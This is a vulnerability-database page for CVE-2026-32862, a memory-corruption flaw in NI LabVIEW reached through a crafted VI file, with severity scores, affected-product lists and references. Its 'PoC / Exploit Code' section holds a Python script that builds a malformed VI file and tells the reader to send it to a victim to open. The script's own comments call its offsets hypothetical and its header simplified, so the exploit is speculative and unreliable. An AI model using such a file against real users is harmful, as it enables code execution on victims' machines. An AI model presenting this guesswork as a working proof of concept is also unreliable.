CVE-2026-32862

Description

There is a memory corruption vulnerability due to an out-of-bounds write in ResFileFactory::InitResourceMgr() in NI LabVIEW. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI file. This vulnerability affects NI LabVIEW 2026 Q1 (26.1.0) and prior versions.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ni:labview:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ni:labview:2023:q1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ni:labview:2023:q3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ni:labview:2023:q3_patch1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ni:labview:2023:q3_patch2:*:*:*:*:*:* - VULNERABLE

NI LabVIEW 2026 Q1 (26.1.0) 及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import struct

# Conceptual PoC for CVE-2026-32862
# This script generates a malformed VI file to trigger the OOB write.

def create_malformed_vi(filename):
    # VI Header stub (simplified for demonstration)
    # Standard headers usually begin with specific magic bytes/versions
    header = b"RSRC"  # Example resource marker
    
    # Malicious payload targeting InitResourceMgr()
    # Triggering an out-of-bounds write by specifying a size larger than the allocated buffer
    # Field: Resource Size (Hypothetical offset)
    # Normal size: 0x100 (256 bytes)
    # Malicious size: 0xFFFFFFFF (Max uint32, causing overflow/OOB)
    malicious_size = struct.pack("<I", 0xFFFFFFFF)
    
    # Padding to reach the vulnerable offset in the structure
    # Adjust offset based on reverse engineering of the specific version
    padding = b"\x00" * 0x50
    
    # Construct the file
    with open(filename, "wb") as f:
        f.write(header)
        f.write(padding)
        f.write(malicious_size)
        # Additional file structure would follow here

    print(f"[+] Malformed VI file created: {filename}")
    print("[*] Send this file to a victim and have them open it in LabVIEW.")

if __name__ == "__main__":
    create_malformed_vi("exploit_CVE_2026_32862.vi")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32862
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32862
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32862/
[4] VulDB https://vuldb.com/cve/CVE-2026-32862
[5] https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/2026/memory-corruption-vulnerabilities-in-ni-labview.html

Raw JSON Data

JSON

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